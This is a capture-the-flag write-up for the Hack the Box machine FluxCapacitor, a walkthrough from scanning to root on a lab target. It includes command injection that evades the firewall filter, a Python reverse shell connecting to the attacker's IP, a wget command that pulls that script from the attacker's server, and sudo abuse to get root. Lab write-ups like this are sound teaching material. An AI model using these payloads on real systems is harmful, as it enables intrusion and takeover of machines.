{Hack the Box} \\ FluxCapacitor Write-Up

Make like a leaf and tree while you still can.

Oneeb Malik
17 min readMay 14, 2018

--

Alrighty kids. Today, we’ll be learning about the virtues of patience and anger-management. And maybe some stuff about bypassing Web Application Firewalls. Let’s get to it.

Initial Enumeration

Start by running an Nmap scan on FluxCapacitor. Let’s see what we’ve got.

root@kali:~# nmap -sC -sV -o nmap.log 10.10.10.69Starting Nmap 7.60 ( https://nmap.org ) at 2018-04-13 13:31 EDT
Nmap scan report for 10.10.10.69
Host is up (0.14s latency).
PORT STATE SERVICE VERSION
80/tcp open http SuperWAF
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 34.32 seconds

Great. Just a web server. Onward to your web browser of choice. (Note that under ‘version’, it says SuperWAF. We’ll get to that a bit later.)

node1 seems to have been through some shit.

There doesn’t seem to be much going on here besides a cryptic status message. Let’s check the source code.

your mission: protect node1 at all costs.

Look at that odd comment right there. So odd. Let’s try going to that URL.

no

Excellent. A dead end. Except for maybe that line at the bottom. We’ve got ourselves a web server name and version. This is a good time to practice your Googling skills (or Binging or Ducking, I’m search engine agnostic idc). Search for the OpenResty site, look at the Github page for it, skim through the documentation, and search for any interesting exploits for that version. It’s an incredibly valuable skill to learn. I’ll save you an hour or two here by saying it’s a dead end. But keep practicing.

Back to enumeration.

Let’s crank out Gobuster and bust some dirs.

root@kali:~# gobuster -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u 10.10.10.69 -x php,html -t 100 -s 200,204,301,302,307,403Gobuster v1.2                OJ Reeves (@TheColonial)
=====================================================
[+] Mode : dir
[+] Url/Domain : http://10.10.10.69/
[+] Threads : 100
[+] Wordlist : /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes : 200,204,301,302,307,403
[+] Extensions : .php,.html
=====================================================
/index.html (Status: 200)
/sync (Status: 200)
/sync.php (Status: 200)
/sync.html (Status: 200)
/synctoy (Status: 200)
/synctoy.php (Status: 200)
/synctoy.html (Status: 200)
/synching (Status: 200)
/synching.php (Status: 200)
/synching.html (Status: 200)
/sync_scan (Status: 200)
/sync_scan.php (Status: 200)
/sync_scan.html (Status: 200)
/syncbackse (Status: 200)
/syncbackse.php (Status: 200)
/syncbackse.html (Status: 200)
/synch (Status: 200)
/synch.php (Status: 200)
/synch.html (Status: 200)

I might be totally off base, but I think the server doesn’t want us to know what file extension /sync is. It just doesn’t truncate anything past sync.

We can confirm this by adding a bunch of random characters in front of /sync. We still get a 403. But if we remove the ‘sync’ part, or add characters before it, we get a 404 not found. Great.

Also wat. When we went to /sync in our browser, we got a 403 forbidden status code. Gobuster, though, seems to be on good terms with the server. It got a 200 OK code.

Stifle your jealousy for now and figure out why the server doesn’t like us.

Let’s open up Wireshark and compare the HTTP requests from both sources and see where we went wrong. Run Gobuster again and run Wireshark on tun0, the interface for the HtB VPN.

Now right click on any of the TCP packets going to 10.10.10.69 and click on Follow->TCP Stream. That’ll give you a nicely formatted HTTP request, so you don’t have to learn to read hex code.

GET /43 HTTP/1.1
Host: 10.10.10.69
User-Agent: Go-http-client/1.1
Accept-Encoding: gzip
HTTP/1.1 404 Not Found
Date: Sun, 13 May 2018 18:36:33 GMT
Content-Type: text/html
Content-Length: 175
Connection: keep-alive
<html>
<head><title>404 Not Found</title></head>
<body bgcolor="white">
<center><h1>404 Not Found</h1></center>
<hr><center>openresty/1.13.6.1</center>
</body>
</html>

Do the same with the browser. Run wireshark (change the interface to ‘any’, since browser HTTP requests take a different road), go to /sync in Firefox and let’s see what packets we get.

Follow the TCP/HTTP Stream.

GET /sync HTTP/1.1
Host: 10.10.10.69
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache
HTTP/1.1 403 Forbidden
Date: Sun, 13 May 2018 18:45:39 GMT
Content-Type: text/html
Content-Length: 175
Connection: keep-alive
<html>
<head><title>403 Forbidden</title></head>
<body bgcolor="white">
<center><h1>403 Forbidden</h1></center>
<hr><center>openresty/1.13.6.1</center>
</body>
</html>

The html content itself doesn’t matter, since that can always vary. Same deal with the GET request contents. Look closely at the HTTP headers in both requests and compare them.

Gobuster:

GET /43 HTTP/1.1
Host: 10.10.10.69
User-Agent: Go-http-client/1.1
Accept-Encoding: gzip

Browser (Firefox):

GET /sync HTTP/1.1
Host: 10.10.10.69
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache

It’s the User-Agent, the shifty feller. Our browser’s been blacklisted for whatever reason. You can play around a bit here. It seems to just look for the word ‘Mozilla’ in User-Agent and forbid all traffic from it. Maybe it blacklists other browsers as well. Who knows. If you try wget or curl to get the webpage, it lets you in.

But that’s not pretty, so we’re going to intercept our browser request with a Burpsuite proxy, modify it, and send it on its way.

Open up BurpSuite. The free edition has everything we need. Go to the Proxy -> Intercept tab at the top and make sure that Intercept is on.

To make our Firefox requests go through Burp, go to Firefox -> Preferences -> Advanced -> Network -> Connection -> Settings. Change the proxy to 127.0.0.1:8080. This will ensure that any browser requests we send get routed through the Burp proxy, where we can view and modify the HTTP request, before sending it to it’s intended destination.

Look into downloading FoxyProxy to do this for you automatically. It’ll save you like 10 seconds. Then you can spend them dreaming about what your life would be like if you had increments of 10 seconds more of free time every day.

Browse to /sync. Your browser will hang. That’s okay. Don’t panic. Go to Burp, and you’ll (hopefully) see the HTTP request in the raw.

GET /sync HTTP/1.1
Host: 10.10.10.69
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1

Delete the current User-Agent and replace it with…..anything I guess. As long as it doesn’t have Mozilla in the name.

GET /sync HTTP/1.1
Host: 10.10.10.69
User-Agent: 007
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1

Now forward the request (by clicking/tapping/joysticking/atomic bit manipulating the Forward button). Quietly make your way to your browser.

Wow. We got the timestamp guys. Nice. It’s letting us through. Now what?

The Waffening

by M. Night Shyamalan

Since /sync seems to be the only other page, we’re stuck trying to figure out wassup here. Let’s go back to the SuperWAF thing. That suggests that there’s some Web Application Firewall (WAF) trickery on this site. A Google search for SuperWAF doesn’t turn up anything so we’re going in blind.

First of all, a WAF is a reverse proxy. It acts as an intermediary between a server and client, attempting to protect the web server from attacks targeting misconfigurations and security flaws. It tries to filter out common attack attempts like Cross-Site Scripting (XSS), SQL Injection, and Remote Code Execution (RCE).

Cross site scripting won’t do us any good here since it requires other users. SQL Injection seems like a big no-no since data doesn’t seem to be stored anywhere. We just seem to be getting output from a script that tells us the time. What language? No clue. By doing a bit of educated guessing, there’s got to be some kind of RCE that we can exploit. The WAF is there for a reason.

We now need to do the metaphorical equivalent of banging our heads repeatedly against a brick wall and hope that we eventually find a couple loose bricks that bring the whole thing down, only to have us stumble as we walk over the ruins, snag ourselves on a brick shard, and tug on it repeatedly until our pants get ripped off. *Deep breaths*.

Go back to Burp, and if you didn’t close it already, go to Proxy -> HTTP history and find the request we sent to /sync. Click on it and then press ctrl-r to send it to the Repeater. Go to the Repeater tab (still in Burp), and make sure the User-Agent doesn’t have Mozilla in it before proceeding.

Now we can repeatedly modify and send HTTP requests.

At this point, we can make an educated guess that /sync might take in a parameter. Let’s test this assumption.

If it can take a parameter, and there’s a WAF in place, there’s most probably a way to execute code. Try a few parameters after sync and you’ll see that you get the same timestamp back. Nothing changes.

This is where a fuzzer comes in handy. Kali linux has WFuzz installed already so let’s use that. What it does is use a dictionary to brute-force URLs until we see any anomalies. Since we don’t have much to go on, this is our only option. Before starting up WFuzz, check this out. SecLists has a bunch of really useful wordlists for fuzzing. Now actually checkout the repo and save it somewhere nice.

Fire up WFuzz and list its options.

root@kali:~# wfuzz -h********************************************************
* Wfuzz 2.2.9 - The Web Fuzzer *
* *
* Version up to 1.4c coded by: *
* Christian Martorella (cmartorella@edge-security.com) *
* Carlos del ojo (deepbit@gmail.com) *
* *
* Version 1.4d to 2.2.9 coded by: *
* Xavier Mendez (xmendez@edge-security.com) *
********************************************************
Usage: wfuzz [options] -z payload,params <url>FUZZ, ..., FUZnZ wherever you put these keywords wfuzz will replace them with the values of the specified payload.
FUZZ{baseline_value} FUZZ will be replaced by baseline_value. It will be the first request performed and could be used as a base for filtering.
Options:
-h : This help
--help : Advanced help
--version : Wfuzz version details
-e <type> : List of available encoders/payloads/iterators/printers/scripts

-c : Output with colors
-v : Verbose information.
--interact : (beta) If selected,all key presses are captured. This allows you to interact with the program.

-p addr : Use Proxy in format ip:port:type. Repeat option for using various proxies.
Where type could be SOCKS4,SOCKS5 or HTTP if omitted.

-t N : Specify the number of concurrent connections (10 default)
-s N : Specify time delay between requests (0 default)
-R depth : Recursive path discovery being depth the maximum recursion level.
-L, --follow : Follow HTTP redirections

-u url : Specify a URL for the request.
-z payload : Specify a payload for each FUZZ keyword used in the form of type,parameters,encoder.
A list of encoders can be used, ie. md5-sha1. Encoders can be chained, ie. md5@sha1.
Encoders category can be used. ie. url
Use help as a payload to show payload plugin's details (you can filter using --slice)
-w wordlist : Specify a wordlist file (alias for -z file,wordlist).
-V alltype : All parameters bruteforcing (allvars and allpost). No need for FUZZ keyword.
-X method : Specify an HTTP method for the request, ie. HEAD or FUZZ

-b cookie : Specify a cookie for the requests
-d postdata : Use post data (ex: "id=FUZZ&catalogue=1")
-H header : Use header (ex:"Cookie:id=1312321&user=FUZZ")
--basic/ntlm/digest auth : in format "user:pass" or "FUZZ:FUZZ" or "domain\FUZ2Z:FUZZ"

--hc/hl/hw/hh N[,N]+ : Hide responses with the specified code/lines/words/chars (Use BBB for taking values from baseline)
--sc/sl/sw/sh N[,N]+ : Show responses with the specified code/lines/words/chars (Use BBB for taking values from baseline)
--ss/hs regex : Show/Hide responses with the specified regex within the content

-u, -w, and --hh will come in handy here. -u and -w are for the URL and wordlist respectively. But why the last one? Look at the wfuzz commands and you’ll see that - -hh is for hiding responses with a certain character count.

If you go back to Burp and mess around with /sync for a bit, you’ll notice that the response Content-Length stays the same across all valid responses. 19 characters. We can use this as a constant to help identify any anomalies.

Now let’s wfuzz this bad boy.

root@kali:~# wfuzz -w /usr/share/wordlists/SecLists/Discovery/Web-Content/burp-parameter-names.txt -u http://10.10.10.69/sync?FUZZ=ls -c --hh 19 | tee fuzz.log********************************************************
* Wfuzz 2.2.9 - The Web Fuzzer *
********************************************************
Target: http://10.10.10.69/sync?FUZZ=ls
Total requests: 2588
==================================================================
ID Response Lines Word Chars Payload
==================================================================
000753: C=403 7 L 10 W 175 Ch "opt"Total time: 45.04352
Processed Requests: 2588
Filtered Requests: 2587
Requests/sec.: 57.45553

The FUZZ in the URL is what gets replaced with other words as wfuzz iterates through the dictionary we gave it. Also, we can make yet another educated guess, and add ‘ls’ as the parameter value. The idea is that we’re aiming for some sort of RCE, and so we want to trigger either a successful response with a directory listing, or have the WAF block our attempt to do so. Any response with a Content-Length of less than 19 characters gets filtered out in the results.

Aaaand heck to the yeah. We’ve found a valid parameter name. If we use Burp to add the ‘opt’ parameter, we can see the forbidden page again.

Now for the rip your mustache hairs out part. We need to guess what our limits are with this RCE vector. Start by firing up wfuzz again to see what special characters get filtered and blocked by the WAF.

root@kali:~/Documents/hack_the_box/work_in_progress/fluxcapacitor# wfuzz -w /usr/share/wordlists/SecLists/Fuzzing/special-chars.txt -u http://10.10.10.69/sync?opt=FUZZ -c | tee schar_fuzz.logWarning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.********************************************************
* Wfuzz 2.2.9 - The Web Fuzzer *
********************************************************
Target: http://10.10.10.69/sync?opt=FUZZ
Total requests: 32
==================================================================
ID Response Lines Word Chars Payload
==================================================================
000029: C=200 1 L 0 W 1 Ch "'"
000030: C=200 2 L 1 W 19 Ch """
000031: C=403 7 L 10 W 175 Ch "<"
000032: C=403 7 L 10 W 175 Ch ">"
000002: C=200 2 L 1 W 19 Ch "!"
000003: C=200 2 L 1 W 19 Ch "@"
000001: C=200 2 L 1 W 19 Ch "~"
000004: C=200 2 L 1 W 19 Ch "#"
000005: C=403 7 L 10 W 175 Ch "$"
000006: C=200 2 L 1 W 19 Ch "%"
000007: C=200 2 L 1 W 19 Ch "^"
000008: C=200 2 L 1 W 19 Ch "&"
000009: C=403 7 L 10 W 175 Ch "*"
000010: C=403 7 L 10 W 175 Ch "("
000011: C=403 7 L 10 W 175 Ch ")"
000012: C=200 2 L 1 W 19 Ch "_"
000013: C=200 2 L 1 W 19 Ch "_"
000014: C=200 2 L 1 W 19 Ch "+"
000015: C=200 2 L 1 W 19 Ch "="
000016: C=200 2 L 1 W 19 Ch "{"
000017: C=200 2 L 1 W 19 Ch "}"
000018: C=200 2 L 1 W 19 Ch "]"
000019: C=200 2 L 1 W 19 Ch "["
000020: C=403 7 L 10 W 175 Ch "|"
000021: C=200 2 L 1 W 19 Ch "\"
000022: C=403 7 L 10 W 175 Ch "`"
000023: C=200 2 L 1 W 19 Ch ","
000024: C=200 2 L 1 W 19 Ch "."
000025: C=200 2 L 1 W 19 Ch "/"
000026: C=200 2 L 1 W 19 Ch "?"
000027: C=403 7 L 10 W 175 Ch ";"
000028: C=200 2 L 1 W 19 Ch ":"
Total time: 0.772816
Processed Requests: 32
Filtered Requests: 0
Requests/sec.: 41.40696

Two things. First of all, WAF doesn’t like the following special characters: ; ` ( ) * $ < >. The second oddity here is that the single quote (‘) is giving us a response with 1 character, while every other valid character gives us the usual 19 characters.

Let’s Burp it up.

That’s new. The timestamp is gone, but we still get a 200 response. Let’s try playing around with the single quote and the previous command we tried (ls).

At this point, I’d suggest taking some time to read about evasion techniques for web firewalls. I’ve included two links here (part 1 and part 2) and at end of this post, to articles written by the creator of this box. They discuss WAF evasion in depth and really helped me form an attack plan to figure out how to move forward. Be sure to give him a follow and clap those articles. They’re amazing.

Now that I am enlightened, I spend the next 5 hours figuring out how to get this damn thing to let me through.

I did it Ma.

Three things were required to make this work.

First of all, we need a space after the first single quote. At a guess, I’d say the single quote truncates a previous command and then we need a space after it to execute the one we injected.

Second, we have to separate the ‘ls’. Putting a ‘\’ before the ‘s’ makes no difference to bash, since it’s apparently a bash script. It’ll just ignore it. Thankfully the WAF can only detect blacklisted commands with contiguous characters.

Third, we’re going to need another quote to end the second command we add.

We FINALLY have some sort of command execution. It should be pretty straightforward from here.

Into the Breach

Let’s start by figuring out where we stand with Flux.

;_;

We need to escalate our privileges before we can really do anything, because FluxCapacitor refuses to acknowledge our existence. I usually try ‘sudo -l’ first, because that contains the juiciest stuff. It tells you what commands you’re allowed to run with the privileges of another user.

This is what we get back from “s\udo -l” (The forward slash behind the ‘u’ cancels out detection for ‘sudo’ and ‘su’, both of which are valid bash commands):

Matching Defaults entries for nobody on fluxcapacitor:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User nobody may run the following commands on fluxcapacitor:
(ALL) ALL
(root) NOPASSWD: /home/themiddle/.monit

(ALL) ALL doesn’t really help us because we’d need passwords to sudo as other users. The second entry is what we’re looking for. It tells us that we can run ‘/home/themiddle/.monit' as root without having to enter the root password. That path has to be typed exactly for it to work though. You can’t go to that directory and type 'sudo .monit’. It’ll just ask for the root password. Let’s go see what it contains.

Typing ‘ ca\t /home/themiddle/.monit’ as the ‘opt’ value, we get:

#!/bin/bashif [ "$1" == "cmd" ]; then
echo "Trying to execute ${2}"
CMD=$(echo -n ${2} | base64 -d)
bash -c "$CMD"
fi

What an interesting bash script. You can copy it to a bash script on your local machine and play around with it a bit. It takes in two arguments, and if the first argument is “cmd”, then it base64 decodes the second argument, and then runs it in bash. Perfect. We can now run any command as root here. Ezpz.

From here, we can probably just ‘cat’ out both the user and root flags, but a reverse shell is so much nicer, and if I have to type another random backslash, Imma pop a biscuit.

This is going to be interesting, because so many crucial special characters are filtered out. Let’s improvise.

We’ve got quite a few options here. If we go back to Burp and try to look for something useful, it seems the system has Python installed.

Python reverse shell it is.

import socket,subprocess,oss=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.14.2",4444)) #CHANGE THIS
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])

Put the above code into a .py file on your local machine and be sure to change the IP address to your own. It’ll be under tun0 in ifconfig. Take your pick of ports. There’s quite a bit of them.

Normally with an RCE, we can just type the python code in directly, but since there are sooooo many bad characters in it that the WAF doesn’t like, we can’t. What we can do is upload the file to the box and run it from there.

Use the Python SimpleHTTPServer to start up a server on your local machine, making sure you know the relative path of the python file you just made. It’s standard in Python 3, so if you don’t have it, just download the Python file online.

root@kali:~# python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...

Since ‘.monit’ base64 decodes the command we want to run, let’s first encode ours on our local machine.

root@kali:~# echo "wget 10.10.14.2/shell.py -P /tmp" | base64
d2dldCAxMC4xMC4xNC4yL3NoZWxsLnB5IC1QIC90bXAK

Copy the base64 and then, in Burp, let’s run it through .monit. (I put a backslash before every character in the hex encoding because something in there was making the WAF scream, and ain’t nobody (heh) got time to figure that out).

Yeee.

The Python server:

root@kali:~/Documents/hack_the_box/work_in_progress/fluxcapacitor# python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...
10.10.10.69 - - [14/May/2018 14:52:11] "GET /shell.py HTTP/1.1" 200 -

Burp:

Successfully uploaded.

Start up a netcat listener to grab the shell.

root@kali:~# nc -lnvp 4444
listening on [any] 4444 ...

Now base64 encode ‘python3 /tmp/shell.py’ and run it with .monit in Burp. We need to type python3 explicitly because I didn’t see any symlinks for python -> python3 in ‘/etc’.

root@kali:~# nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.10.14.2] from (UNKNOWN) [10.10.10.69] 35004
/bin/sh: 0: can't access tty; job control turned off
# whoami
root
# cat /home/FluxCapacitorInc/user.txt /root/root.txt
uSer_FlAg_tHaT_i_w0nt_sh0W_h3R3
n0T_th3_r3al_r00t_fl4g
#

F I N.

WAF Evasion Links:

WAF Evasion Techniques Part 1

WAF Evasion Techniques Part 2

Thank you to for making a great box! Make sure to give him a follow.

If you found this informative, be on the lookout for more write-ups. You can follow me on Twitter for the latest.

Happy hacking!

--

--

Oneeb Malik

Full stack software engineer. Systems programming and infosec enthusiast. Currently figuring out the logistics of owning an alpaca farm.